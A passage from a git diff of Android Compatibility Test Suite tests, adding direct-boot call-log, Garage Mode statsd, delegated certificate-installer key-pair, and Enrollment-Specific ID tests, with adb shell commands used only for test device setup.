+ byte[] remoteBytes = readBytes(new FileInputStream(pfd.getFileDescriptor()));
+ assertArrayEquals(expected, remoteBytes);
+ }
+ } finally {
+ getInstrumentation().getUiAutomation().dropShellPermissionIdentity();
+ dismissKeyguard();
+ }
+ }
+
+ private static byte[] readResourceDrawable(Context context, int id) throws Exception {
+ InputStream inputStream = context.getResources().openRawResource(id);
+ return readBytes(inputStream);
+ }
+
+ private static byte[] readBytes(InputStream inputStream) throws Exception {
+ byte[] buffer = new byte[1024];
+ ByteArrayOutputStream output = new ByteArrayOutputStream();
+ int numRead;
+ do {
+ numRead = inputStream.read(buffer);
+ if (numRead > 0) output.write(buffer, 0, numRead);
+ } while (numRead > 0);
+ return output.toByteArray();
+ }
+
+ private void enterTestPin() throws Exception {
+ mDevice.waitForIdle();
+ mDevice.pressKeyCode(KeyEvent.KEYCODE_1);
+ mDevice.pressKeyCode(KeyEvent.KEYCODE_2);
+ mDevice.pressKeyCode(KeyEvent.KEYCODE_3);
+ mDevice.pressKeyCode(KeyEvent.KEYCODE_4);
+ mDevice.pressKeyCode(KeyEvent.KEYCODE_5);
+ mDevice.waitForIdle();
+ mDevice.pressEnter();
+ mDevice.waitForIdle();
+ }
+
+ private void dismissKeyguard() throws Exception {
+ mDevice.wakeUp();
+ mDevice.waitForIdle();
+ mDevice.pressMenu();
+ mDevice.waitForIdle();
+ enterTestPin();
+ mDevice.waitForIdle();
+ mDevice.pressHome();
+ mDevice.waitForIdle();
+ }
+}
diff --git a/hostsidetests/calllog/src/android/provider/cts/contacts/hostside/ShadowCallLogTest.java b/hostsidetests/calllog/src/android/provider/cts/contacts/hostside/ShadowCallLogTest.java
new file mode 100644
index 0000000..086cf80
--- /dev/null
+++ b/hostsidetests/calllog/src/android/provider/cts/contacts/hostside/ShadowCallLogTest.java
@@ -0,0 +1,168 @@
+/*
+ * Copyright (C) 2016 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.provider.cts.contacts.hostside;
+
+import static org.junit.Assert.assertNotNull;
+import static org.junit.Assert.assertTrue;
+
+import com.android.compatibility.common.tradefed.build.CompatibilityBuildHelper;
+import com.android.ddmlib.AdbCommandRejectedException;
+import com.android.ddmlib.CollectingOutputReceiver;
+import com.android.ddmlib.Log;
+import com.android.tradefed.device.ITestDevice;
+import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
+import com.android.tradefed.testtype.junit4.BaseHostJUnit4Test;
+
+import org.junit.After;
+import org.junit.Before;
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
+import java.io.File;
+
+@RunWith(DeviceJUnit4ClassRunner.class)
+public class ShadowCallLogTest extends BaseHostJUnit4Test {
+ private static final String TAG = ShadowCallLogTest.class.getSimpleName();
+
+ private static final String PKG = "android.provider.cts.contacts.testapp";
+ private static final String CLASS = PKG + ".CallLogDirectBootTest";
+ private static final String APK = "CtsCallLogDirectBootApp.apk";
+
+ private static final String MODE_EMULATED = "emulated";
+ private static final String MODE_NONE = "none";
+
+ private static final long SHUTDOWN_TIME_MS = 30 * 1000;
+
+ @Before
+ public void setUp() throws Exception {
+ assertNotNull(getAbi());
+ assertNotNull(getBuild());
+
+ getDevice().uninstallPackage(PKG);
+ }
+
+ @After
+ public void tearDown() throws Exception {
+ getDevice().uninstallPackage(PKG);
+ }
+
+ @Test
+ public void testDirectBootCallLog() throws Exception {
+ String fbeMode = getDevice().executeShellCommand("sm get-fbe-mode").trim();
+ if (MODE_NONE.equals(fbeMode)) {
+ Log.i(TAG, "Device doesn't support FBE, skipping.");
+ return;
+ }
+ try {
+ Log.i(TAG, "Test starting");
+ waitForBootCompleted(getDevice());
+ // Set up test app and secure lock screens
+ CompatibilityBuildHelper buildHelper = new CompatibilityBuildHelper(getBuild());
+ File apkFile = buildHelper.getTestFile(APK);
+ getDevice().installPackage(apkFile, true);
+ Log.i(TAG, "Package installed");
+
+ setupDevicePassword();
+
+ // Give enough time for vold to update keys
+ Thread.sleep(15000);
+
+ Log.i(TAG, "Rebooting device");
+ // Reboot system into known state with keys ejected
+ if (MODE_EMULATED.equals(fbeMode)) {
+ final String res = getDevice().executeShellCommand("sm set-emulate-fbe true");
+ if (res != null && res.contains("Emulation not supported")) {
+ return;
+ }
+ getDevice().waitForDeviceNotAvailable(SHUTDOWN_TIME_MS);
+ getDevice().waitForDeviceOnline(120000);
+ } else {
+ getDevice().rebootUntilOnline();
+ }
+ waitForBootCompleted(getDevice());
+
+ assertTrue(runDeviceTests(PKG, CLASS, "testShadowCallComposerPicture"));
+ } catch (Throwable t) {
+ Log.e(TAG, "Error encountered: " + t);
+ } finally {
+ try {
+ // Remove secure lock screens and tear down test app
+ Log.i(TAG, "Attempting to remove device password");
+ removeDevicePassword();
+ } finally {
+ Log.i(TAG, "Final cleanup");
+ getDevice().uninstallPackage(PKG);
+
+ // Get ourselves back into a known-good state
+ if (MODE_EMULATED.equals(fbeMode)) {
+ getDevice().executeShellCommand("sm set-emulate-fbe false");
+ getDevice().waitForDeviceNotAvailable(SHUTDOWN_TIME_MS);
+ getDevice().waitForDeviceOnline();
+ } else {
+ getDevice().rebootUntilOnline();
+ }
+ getDevice().waitForDeviceAvailable();
+ }
+ }
+ }
+
+ private void setupDevicePassword() throws Exception {
+ Log.i(TAG, "running device password setup");
+ ITestDevice device = getDevice();
+ device.executeShellCommand("settings put global require_password_to_decrypt 0");
+ device.executeShellCommand("locksettings set-disabled false");
+ device.executeShellCommand("locksettings set-pin 12345");
+ }
+
+ private void removeDevicePassword() throws Exception {
+ Log.i(TAG, "clearing device password");
+ ITestDevice device = getDevice();
+ device.executeShellCommand("locksettings clear --old 12345");
+ device.executeShellCommand("locksettings set-disabled true");
+ device.executeShellCommand("settings delete global require_password_to_decrypt");
+ }
+
+ public static void waitForBootCompleted(ITestDevice device) throws Exception {
+ for (int i = 0; i < 45; i++) {
+ if (isBootCompleted(device)) {
+ Log.d(TAG, "Yay, system is ready!");
+ // or is it really ready?
+ // guard against potential USB mode switch weirdness at boot
+ Thread.sleep(10 * 1000);
+ return;
+ }
+ Log.d(TAG, "Waiting for system ready...");
+ Thread.sleep(1000);
+ }
+ throw new AssertionError("System failed to become ready!");
+ }
+
+ private static boolean isBootCompleted(ITestDevice device) throws Exception {
+ CollectingOutputReceiver receiver = new CollectingOutputReceiver();
+ try {
+ device.getIDevice().executeShellCommand("getprop sys.boot_completed", receiver);
+ } catch (AdbCommandRejectedException e) {
+ // do nothing: device might be temporarily disconnected
+ Log.d(TAG, "Ignored AdbCommandRejectedException while `getprop sys.boot_completed`");
+ }
+ String output = receiver.getOutput();
+ if (output != null) {
+ output = output.trim();
+ }
+ return "1".equals(output);
+ }
+}
diff --git a/hostsidetests/car/Android.bp b/hostsidetests/car/Android.bp
index b09254e..b856b74 100644
--- a/hostsidetests/car/Android.bp
+++ b/hostsidetests/car/Android.bp
@@ -29,6 +29,9 @@
"cts",
"general-tests",
],
+ static_libs: [
+ "cts-statsd-atom-host-test-utils",
+ ],
data: [
":CtsCarApp",
],
diff --git a/hostsidetests/car/src/android/car/cts/GarageModeAtomTests.java b/hostsidetests/car/src/android/car/cts/GarageModeAtomTests.java
new file mode 100644
index 0000000..cc8823a
--- /dev/null
+++ b/hostsidetests/car/src/android/car/cts/GarageModeAtomTests.java
@@ -0,0 +1,109 @@
+/*
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+package android.car.cts;
+
+import static com.google.common.truth.Truth.assertThat;
+
+import android.cts.statsdatom.lib.AtomTestUtils;
+import android.cts.statsdatom.lib.ConfigUtils;
+import android.cts.statsdatom.lib.DeviceUtils;
+import android.cts.statsdatom.lib.ReportUtils;
+
+import com.android.os.AtomsProto.Atom;
+import com.android.os.StatsLog.EventMetricData;
+import com.android.tradefed.build.IBuildInfo;
+import com.android.tradefed.testtype.DeviceTestCase;
+import com.android.tradefed.testtype.IBuildReceiver;
+
+import java.util.Arrays;
+import java.util.HashSet;
+import java.util.List;
+import java.util.Set;
+
+/**
+ * Verifies that Automotive's Garage Mode reports its status.
+ *
+ * <p> {@code statsd} atom tests are done via adb (hostside).
+ */
+public class GarageModeAtomTests extends DeviceTestCase implements IBuildReceiver {
+
+ private static final String TAG = "Statsd.GarageModeAtomTests";
+ private static final String FEATURE_AUTOMOTIVE = "android.hardware.type.automotive";
+
+ private IBuildInfo mCtsBuild;
+
+ @Override
+ protected void setUp() throws Exception {
+ super.setUp();
+
+ assertThat(mCtsBuild).isNotNull();
+ ConfigUtils.removeConfig(getDevice());
+ ReportUtils.clearReports(getDevice());
+
+ // Give enough time to remove/clear reports in statsd because that happens
+ // asynchronously
+ Thread.sleep(AtomTestUtils.WAIT_TIME_SHORT);
+
+ DeviceUtils.installStatsdTestApp(getDevice(), mCtsBuild);
+ }
+
+ @Override
+ protected void tearDown() throws Exception {
+ ConfigUtils.removeConfig(getDevice());
+ ReportUtils.clearReports(getDevice());
+ DeviceUtils.uninstallStatsdTestApp(getDevice());
+
+ super.tearDown();
+ }
+
+ @Override
+ public void setBuild(IBuildInfo buildInfo) {
+ mCtsBuild = buildInfo;
+ }
+
+ public void testGarageModeOnOff() throws Exception {
+ if (!DeviceUtils.hasFeature(getDevice(), FEATURE_AUTOMOTIVE)) {
+ return;
+ }
+
+ ConfigUtils.uploadConfigForPushedAtom(getDevice(), DeviceUtils.STATSD_ATOM_TEST_PKG,
+ Atom.GARAGE_MODE_INFO_FIELD_NUMBER);
+
+ // Garage mode ON
+ Set<Integer> garageModeOn = new HashSet<>(Arrays.asList(1));
+ // Garage mode OFF
+ Set<Integer> garageModeOff = new HashSet<>(Arrays.asList(0));
+ List<Set<Integer>> stateSet = Arrays.asList(garageModeOn, garageModeOff);
+
+ turnOnGarageMode();
+ Thread.sleep(AtomTestUtils.WAIT_TIME_SHORT);
+ turnOffGarageMode();
+ Thread.sleep(AtomTestUtils.WAIT_TIME_SHORT);
+
+ List<EventMetricData> data = ReportUtils.getEventMetricDataList(getDevice());
+ AtomTestUtils.assertStatesOccurred(stateSet, data, AtomTestUtils.WAIT_TIME_SHORT,
+ atom -> atom.getGarageModeInfo().getIsGarageMode() ? 1 : 0);
+
+ }
+
+ private void turnOnGarageMode() throws Exception {
+ getDevice().executeShellCommand("cmd car_service garage-mode on");
+ }
+
+ private void turnOffGarageMode() throws Exception {
+ getDevice().executeShellCommand("cmd car_service garage-mode off");
+ }
+}
diff --git a/hostsidetests/devicepolicy/app/CertInstaller/src/com/android/cts/certinstaller/CertInstallerReceiver.java b/hostsidetests/devicepolicy/app/CertInstaller/src/com/android/cts/certinstaller/CertInstallerReceiver.java
index 599bd8e..476c109 100644
--- a/hostsidetests/devicepolicy/app/CertInstaller/src/com/android/cts/certinstaller/CertInstallerReceiver.java
+++ b/hostsidetests/devicepolicy/app/CertInstaller/src/com/android/cts/certinstaller/CertInstallerReceiver.java
@@ -24,12 +24,12 @@
import android.util.Log;
import java.io.ByteArrayInputStream;
-import java.security.cert.CertificateException;
-import java.security.cert.CertificateFactory;
-import java.security.spec.PKCS8EncodedKeySpec;
import java.security.KeyFactory;
import java.security.PrivateKey;
import java.security.cert.Certificate;
+import java.security.cert.CertificateException;
+import java.security.cert.CertificateFactory;
+import java.security.spec.PKCS8EncodedKeySpec;
import java.util.List;
/**
@@ -55,6 +55,9 @@
// exercises {@link DevicePolicyManager#installKeyPair},
private static final String ACTION_INSTALL_KEYPAIR =
"com.android.cts.certinstaller.install_keypair";
+ // exercises {@link DevicePolicyManager#getEnrollmentSpecificId}
+ private static final String ACTION_READ_ENROLLMENT_SPECIFIC_ID =
+ "com.android.cts.certinstaller.read_esid";
private static final String ACTION_CERT_OPERATION_DONE = "com.android.cts.certinstaller.done";
@@ -141,10 +144,17 @@
Log.e(TAG, "Exception raised duing ACTION_INSTALL_KEYPAIR", e);
sendResult(context, false, e);
}
+ } else if (ACTION_READ_ENROLLMENT_SPECIFIC_ID.equals(action)) {
+ try {
+ final String esid = dpm.getEnrollmentSpecificId();
+ sendResult(context, !esid.isEmpty(), null);
+ } catch (SecurityException e) {
+ Log.e(TAG, "Exception raised during ACTION_READ_ENROLLMENT_SPECIFIC_ID", e);
+ sendResult(context, false, e);
+ }
}
}
-
private void sendResult(Context context, boolean succeed, Exception e) {
Intent intent = new Intent();
intent.setAction(ACTION_CERT_OPERATION_DONE);
diff --git a/hostsidetests/devicepolicy/app/CertInstaller/src/com/android/cts/certinstaller/DirectDelegatedCertInstallerTest.java b/hostsidetests/devicepolicy/app/CertInstaller/src/com/android/cts/certinstaller/DirectDelegatedCertInstallerTest.java
index 4dbb884..51fac70 100644
--- a/hostsidetests/devicepolicy/app/CertInstaller/src/com/android/cts/certinstaller/DirectDelegatedCertInstallerTest.java
+++ b/hostsidetests/devicepolicy/app/CertInstaller/src/com/android/cts/certinstaller/DirectDelegatedCertInstallerTest.java
@@ -19,6 +19,8 @@
import static com.google.common.truth.Truth.assertThat;
import static com.google.common.truth.Truth.assertWithMessage;
+import static java.util.Collections.singleton;
+
import android.app.admin.DevicePolicyManager;
import android.content.Context;
import android.content.pm.PackageManager;
@@ -55,6 +57,9 @@
* When this class is done then the DelegatedCertInstallerTest can be deleted.
*/
public class DirectDelegatedCertInstallerTest extends InstrumentationTestCase {
+ private static final String TEST_ALIAS = "DirectDelegatedCertInstallerTest-keypair";
+ private static final String NON_EXISTENT_ALIAS = "DirectDelegatedCertInstallerTest-nonexistent";
+
// Content from cacert.pem
private static final String TEST_CA =
"-----BEGIN CERTIFICATE-----\n" +
@@ -130,6 +135,7 @@
@Override
public void tearDown() throws Exception {
mDpm.uninstallCaCert(null, TEST_CA.getBytes());
+ mDpm.removeKeyPair(null, TEST_ALIAS);
super.tearDown();
}
@@ -226,30 +232,39 @@
}
public void testHasKeyPair_NonExistent() {
- assertThat(mDpm.hasKeyPair("NobodyWouldCallAKeyLikeThat")).isFalse();
+ assertThat(mDpm.hasKeyPair(NON_EXISTENT_ALIAS)).isFalse();
}
- public void testHasKeyPair_Installed() throws Exception {
- final String alias = "delegated-cert-installer-test-key-9000";
+ public void testHasKeyPair_Installed() {
+ mDpm.installKeyPair(null, mTestPrivateKey, new Certificate[]{mTestCertificate}, TEST_ALIAS,
+ /* requestAccess= */ true);
- mDpm.installKeyPair(
- null, mTestPrivateKey, new Certificate[]{mTestCertificate}, alias, true);
-
- try {
- assertThat(mDpm.hasKeyPair(alias)).isTrue();
- } finally {
- mDpm.removeKeyPair(null, alias);
- }
+ assertThat(mDpm.hasKeyPair(TEST_ALIAS)).isTrue();
}
- public void testHasKeyPair_Removed() throws Exception {
- final String alias = "delegated-cert-installer-test-key-9001";
+ public void testHasKeyPair_Removed() {
+ mDpm.installKeyPair(null, mTestPrivateKey, new Certificate[]{mTestCertificate}, TEST_ALIAS,
+ /* requestAccess= */ true);
+ mDpm.removeKeyPair(null, TEST_ALIAS);
- mDpm.installKeyPair(
- null, mTestPrivateKey, new Certificate[]{mTestCertificate}, alias, true);
- mDpm.removeKeyPair(null, alias);
+ assertThat(mDpm.hasKeyPair(TEST_ALIAS)).isFalse();
+ }
- assertThat(mDpm.hasKeyPair(alias)).isFalse();
+ public void testGetKeyPairGrants_Empty() {
+ // Not granting upon install.
+ mDpm.installKeyPair(null, mTestPrivateKey, new Certificate[]{mTestCertificate}, TEST_ALIAS,
+ /* requestAccess= */ false);
+
+ assertThat(mDpm.getKeyPairGrants(TEST_ALIAS)).isEmpty();
+ }
+
+ public void testGetKeyPairGrants_NonEmpty() {
+ // Granting upon install.
+ mDpm.installKeyPair(null, mTestPrivateKey, new Certificate[]{mTestCertificate}, TEST_ALIAS,
+ /* requestAccess= */ true);
+
+ assertThat(mDpm.getKeyPairGrants(TEST_ALIAS))
+ .isEqualTo(singleton(singleton(getContext().getPackageName())));
}
private PrivateKey rsaKeyFromString(String key) throws Exception {
diff --git a/hostsidetests/devicepolicy/app/DeviceAndProfileOwner/Android.bp b/hostsidetests/devicepolicy/app/DeviceAndProfileOwner/Android.bp
index e77b52f..5f06e2a 100644
--- a/hostsidetests/devicepolicy/app/DeviceAndProfileOwner/Android.bp
+++ b/hostsidetests/devicepolicy/app/DeviceAndProfileOwner/Android.bp
@@ -72,6 +72,36 @@
}
android_test_helper_app {
+ name: "CtsDeviceAndProfileOwnerApp30",
+ defaults: ["cts_defaults"],
+ platform_apis: true,
+ srcs: ["src/**/*.java"],
+ libs: [
+ "android.test.runner",
+ "android.test.base",
+ ],
+ static_libs: [
+ "compatibility-device-util-axt",
+ "ctstestrunner-axt",
+ "ub-uiautomator",
+ "cts-security-test-support-library",
+ "androidx.legacy_legacy-support-v4",
+ "cts-devicepolicy-suspensionchecker",
+ "devicepolicy-deviceside-common",
+ ],
+ resource_dirs: ["res"],
+ asset_dirs: ["assets"],
+ // tag this module as a cts test artifact
+ test_suites: [
+ "arcts",
+ "cts",
+ "general-tests",
+ "mts",
+ ],
+ manifest: "api30/AndroidManifest.xml",
+}
+
+android_test_helper_app {
name: "CtsDeviceAndProfileOwnerApp",
defaults: ["cts_defaults"],
platform_apis: true,
diff --git a/hostsidetests/devicepolicy/app/DeviceAndProfileOwner/api30/AndroidManifest.xml b/hostsidetests/devicepolicy/app/DeviceAndProfileOwner/api30/AndroidManifest.xml
new file mode 100644
index 0000000..07d5bd0
--- /dev/null
+++ b/hostsidetests/devicepolicy/app/DeviceAndProfileOwner/api30/AndroidManifest.xml
@@ -0,0 +1,45 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!-- Copyright (C) 2021 The Android Open Source Project
+
+ Licensed under the Apache License, Version 2.0 (the "License");
+ you may not use this file except in compliance with the License.
+ You may obtain a copy of the License at
+
+ http://www.apache.org/licenses/LICENSE-2.0
+
+ Unless required by applicable law or agreed to in writing, software
+ distributed under the License is distributed on an "AS IS" BASIS,
+ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ See the License for the specific language governing permissions and
+ limitations under the License.
+-->
+
+<manifest xmlns:android="http://schemas.android.com/apk/res/android"
+ package="com.android.cts.deviceandprofileowner">
+
+ <uses-sdk android:minSdkVersion="29"
+ android:targetSdkVersion="30"/>
+
+ <application android:testOnly="true">
+
+ <uses-library android:name="android.test.runner"/>
+ <receiver android:name="com.android.cts.deviceandprofileowner.BaseDeviceAdminTest$BasicAdminReceiver"
+ android:permission="android.permission.BIND_DEVICE_ADMIN"
+ android:directBootAware="true"
+ android:exported="true">
+ <meta-data android:name="android.app.device_admin"
+ android:resource="@xml/device_admin"/>
+ <intent-filter>
+ <action android:name="android.app.action.DEVICE_ADMIN_ENABLED"/>
+ </intent-filter>
+ </receiver>
+
+ </application>
+
+ <instrumentation android:name="androidx.test.runner.AndroidJUnitRunner"
+ android:label="Profile and Device Owner CTS Tests"
+ android:targetPackage="com.android.cts.deviceandprofileowner">
+ <meta-data android:name="listener"
+ android:value="com.android.cts.runner.CtsTestRunListener"/>
+ </instrumentation>
+</manifest>
diff --git a/hostsidetests/devicepolicy/app/DeviceAndProfileOwner/src/com/android/cts/deviceandprofileowner/AutofillRestrictionsTest.java b/hostsidetests/devicepolicy/app/DeviceAndProfileOwner/src/com/android/cts/deviceandprofileowner/AutofillRestrictionsTest.java
index 891bd72..7e4cd3d 100644
--- a/hostsidetests/devicepolicy/app/DeviceAndProfileOwner/src/com/android/cts/deviceandprofileowner/AutofillRestrictionsTest.java
+++ b/hostsidetests/devicepolicy/app/DeviceAndProfileOwner/src/com/android/cts/deviceandprofileowner/AutofillRestrictionsTest.java
@@ -63,14 +63,14 @@
mDevicePolicyManager.addUserRestriction(ADMIN_RECEIVER_COMPONENT, DISALLOW_AUTOFILL);
// Must try a couple times because it will be disabled asynchronously.
- for (int i = 1; i <= 5; i++) {
+ for (int i = 1; i <= 15; i++) {
final boolean disabledAfter = !launchActivityAndGetEnabled();
if (disabledAfter) {
return;
}
Thread.sleep(100);
}
- fail("Not disabled after 2.5s");
+ fail("Not disabled after a period of time");
}
private boolean launchActivityAndGetEnabled() throws Exception {
diff --git a/hostsidetests/devicepolicy/app/DeviceAndProfileOwner/src/com/android/cts/deviceandprofileowner/DelegatedCertInstallerTest.java b/hostsidetests/devicepolicy/app/DeviceAndProfileOwner/src/com/android/cts/deviceandprofileowner/DelegatedCertInstallerTest.java
index 45bfe40..f700c69 100644
--- a/hostsidetests/devicepolicy/app/DeviceAndProfileOwner/src/com/android/cts/deviceandprofileowner/DelegatedCertInstallerTest.java
+++ b/hostsidetests/devicepolicy/app/DeviceAndProfileOwner/src/com/android/cts/deviceandprofileowner/DelegatedCertInstallerTest.java
@@ -60,6 +60,8 @@
private static final String ACTION_INSTALL_KEYPAIR =
"com.android.cts.certinstaller.install_keypair";
private static final String ACTION_CERT_OPERATION_DONE = "com.android.cts.certinstaller.done";
+ private static final String ACTION_READ_ENROLLMENT_SPECIFIC_ID =
+ "com.android.cts.certinstaller.read_esid";
private static final String EXTRA_CERT_DATA = "extra_cert_data";
private static final String EXTRA_KEY_DATA = "extra_key_data";
@@ -313,6 +315,19 @@
assertThat(mDpm.getCertInstallerPackage(ADMIN_RECEIVER_COMPONENT)).isNull();
}
+ public void testCanReadEnrollmentSpecificId() throws InterruptedException {
+ // Set the organization ID only if not already set, to avoid potential conflict
+ // with other tests.
+ if (mDpm.getEnrollmentSpecificId().isEmpty()) {
+ mDpm.setOrganizationId("SOME_ID");
+ }
+ mDpm.setDelegatedScopes(ADMIN_RECEIVER_COMPONENT, CERT_INSTALLER_PACKAGE,
+ CERT_INSTALL_SCOPES);
+
+ readEnrollmentId();
+ assertResult("testCanReadEnrollmentSpecificId", true);
+ }
+
private void installCaCert(byte[] cert) {
Intent intent = new Intent();
intent.setAction(ACTION_INSTALL_CERT);
@@ -373,4 +388,12 @@
intent.addFlags(Intent.FLAG_RECEIVER_FOREGROUND);
mContext.sendBroadcast(intent);
}
+
+ private void readEnrollmentId() {
+ Intent intent = new Intent();
+ intent.setAction(ACTION_READ_ENROLLMENT_SPECIFIC_ID);
+ intent.setComponent(CERT_INSTALLER_COMPONENT);
+ intent.addFlags(Intent.FLAG_RECEIVER_FOREGROUND);
+ mContext.sendBroadcast(intent);
+ }
}
diff --git a/hostsidetests/devicepolicy/app/DeviceAndProfileOwner/src/com/android/cts/deviceandprofileowner/EnrollmentSpecificIdTest.java b/hostsidetests/devicepolicy/app/DeviceAndProfileOwner/src/com/android/cts/deviceandprofileowner/EnrollmentSpecificIdTest.java
new file mode 100644
index 0000000..2ed2c1a
--- /dev/null
+++ b/hostsidetests/devicepolicy/app/DeviceAndProfileOwner/src/com/android/cts/deviceandprofileowner/EnrollmentSpecificIdTest.java
@@ -0,0 +1,233 @@
+/*
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package com.android.cts.deviceandprofileowner;
+
+import static com.google.common.truth.Truth.assertThat;
+
+import static org.testng.Assert.assertThrows;
+
+import android.annotation.NonNull;
+import android.app.UiAutomation;
+import android.net.wifi.WifiManager;
+import android.os.Build;
+import android.telephony.TelephonyManager;
+
+import java.nio.ByteBuffer;
+import java.security.InvalidKeyException;
+import java.security.NoSuchAlgorithmException;
+
+import javax.crypto.Mac;
+import javax.crypto.spec.SecretKeySpec;
+
+/**
+ * Tests for the Enrollment-Specific ID functionality.
+ *
+ * NOTE: Tests in this class need to be run separately from the host-side since each
+ * sets a non-resettable Organization ID, so the DPC needs to be completely removed
+ * before each test.
+ */
+public class EnrollmentSpecificIdTest extends BaseDeviceAdminTest {
+ private static final String[] PERMISSIONS_TO_ADOPT = {
+ "android.permission.READ_PRIVILEGED_PHONE_STATE",
+ "android.permission.NETWORK_SETTINGS",
+ "android.permission.LOCAL_MAC_ADDRESS"};
+ private static final String ORGANIZATION_ID = "abcxyz123";
+ private UiAutomation mUiAutomation;
+
+ @Override
+ protected void setUp() throws Exception {
+ super.setUp();
+ mUiAutomation = getInstrumentation().getUiAutomation();
+ }
+
+ public void testThrowsForEmptyOrganizationId() {
+ assertThrows(IllegalArgumentException.class,
+ () -> mDevicePolicyManager.setOrganizationId(""));
+ }
+
+ public void testThrowsWhenTryingToReSetOrganizationId() {
+ mUiAutomation.adoptShellPermissionIdentity(PERMISSIONS_TO_ADOPT);
+
+ mDevicePolicyManager.setOrganizationId("abc");
+ final String firstEsid = mDevicePolicyManager.getEnrollmentSpecificId();
+ assertThat(firstEsid).isNotEmpty();
+
+ assertThrows(IllegalStateException.class,
+ () -> mDevicePolicyManager.setOrganizationId("xyz"));
+ }
+
+ /**
+ * This test tests that the platform calculates the ESID according to the specification and
+ * does not, for example, return the same ESID regardless of the managing package.
+ */
+ public void testCorrectCalculationOfEsid() {
+ mUiAutomation.adoptShellPermissionIdentity(PERMISSIONS_TO_ADOPT);
+ mDevicePolicyManager.setOrganizationId(ORGANIZATION_ID);
+ final String esidFromDpm = mDevicePolicyManager.getEnrollmentSpecificId();
+ final String calculatedEsid = calculateEsid(ADMIN_RECEIVER_COMPONENT.getPackageName(),
+ ORGANIZATION_ID);
+ assertThat(esidFromDpm).isEqualTo(calculatedEsid);
+ }
+
+ private String calculateEsid(String profileOwnerPackage, String enterpriseIdString) {
+ TelephonyManager telephonyService = mContext.getSystemService(TelephonyManager.class);
+ assertThat(telephonyService).isNotNull();
+
+ WifiManager wifiManager = mContext.getSystemService(WifiManager.class);
+ assertThat(wifiManager).isNotNull();
+
+ final byte[] serialNumber = getPaddedHardwareIdentifier(Build.getSerial()).getBytes();
+ final byte[] imei = getPaddedHardwareIdentifier(telephonyService.getImei(0)).getBytes();
+ final byte[] meid = getPaddedHardwareIdentifier(telephonyService.getMeid(0)).getBytes();
+
+ final byte[] macAddress;
+ final String[] macAddresses = wifiManager.getFactoryMacAddresses();
+ if (macAddresses == null || macAddresses.length == 0) {
+ macAddress = "".getBytes();
+ } else {
+ macAddress = macAddresses[0].getBytes();
+ }
+
+ final int totalIdentifiersLength = serialNumber.length + imei.length + meid.length
+ + macAddress.length;
+ final ByteBuffer fixedIdentifiers = ByteBuffer.allocate(totalIdentifiersLength);
+ fixedIdentifiers.put(serialNumber);
+ fixedIdentifiers.put(imei);
+ fixedIdentifiers.put(meid);
+ fixedIdentifiers.put(macAddress);
+
+ final byte[] dpcPackage = getPaddedProfileOwnerName(profileOwnerPackage).getBytes();
+ final byte[] enterpriseId = getPaddedEnterpriseId(enterpriseIdString).getBytes();
+ final ByteBuffer info = ByteBuffer.allocate(dpcPackage.length + enterpriseId.length);
+ info.put(dpcPackage);
+ info.put(enterpriseId);
+ final byte[] esidBytes = computeHkdf("HMACSHA256", fixedIdentifiers.array(), null,
+ info.array(), 16);
+ ByteBuffer esidByteBuffer = ByteBuffer.wrap(esidBytes);
+
+ return encodeBase32(esidByteBuffer.getLong()) + encodeBase32(esidByteBuffer.getLong());
+ }
+
+ private static String getPaddedHardwareIdentifier(String hardwareIdentifier) {
+ if (hardwareIdentifier == null) {
+ hardwareIdentifier = "";
+ }
+ return String.format("%16s", hardwareIdentifier);
+ }
+
+ private static String getPaddedProfileOwnerName(String profileOwnerPackage) {
+ return String.format("%64s", profileOwnerPackage);
+ }
+
+ private static String getPaddedEnterpriseId(String enterpriseId) {
+ return String.format("%64s", enterpriseId);
+ }
+
+ // Copied from android.security.identity.Util, here to make sure Enterprise-Specific ID is
+ // calculated according to spec.
+ @NonNull
+ private static byte[] computeHkdf(
+ @NonNull String macAlgorithm, @NonNull final byte[] ikm, @NonNull final byte[] salt,
+ @NonNull final byte[] info, int size) {
+ Mac mac = null;
+ try {
+ mac = Mac.getInstance(macAlgorithm);
+ } catch (NoSuchAlgorithmException e) {
+ throw new RuntimeException("No such algorithm: " + macAlgorithm, e);
+ }
+ if (size > 255 * mac.getMacLength()) {
+ throw new RuntimeException("size too large");
+ }
+ try {
+ if (salt == null || salt.length == 0) {
+ // According to RFC 5869, Section 2.2 the salt is optional. If no salt is provided
+ // then HKDF uses a salt that is an array of zeros of the same length as the hash
+ // digest.
+ mac.init(new SecretKeySpec(new byte[mac.getMacLength()], macAlgorithm));
+ } else {
+ mac.init(new SecretKeySpec(salt, macAlgorithm));
+ }
+ byte[] prk = mac.doFinal(ikm);
+ byte[] result = new byte[size];
+ int ctr = 1;
+ int pos = 0;
+ mac.init(new SecretKeySpec(prk, macAlgorithm));
+ byte[] digest = new byte[0];
+ while (true) {
+ mac.update(digest);
+ mac.update(info);
+ mac.update((byte) ctr);
+ digest = mac.doFinal();
+ if (pos + digest.length < size) {
+ System.arraycopy(digest, 0, result, pos, digest.length);
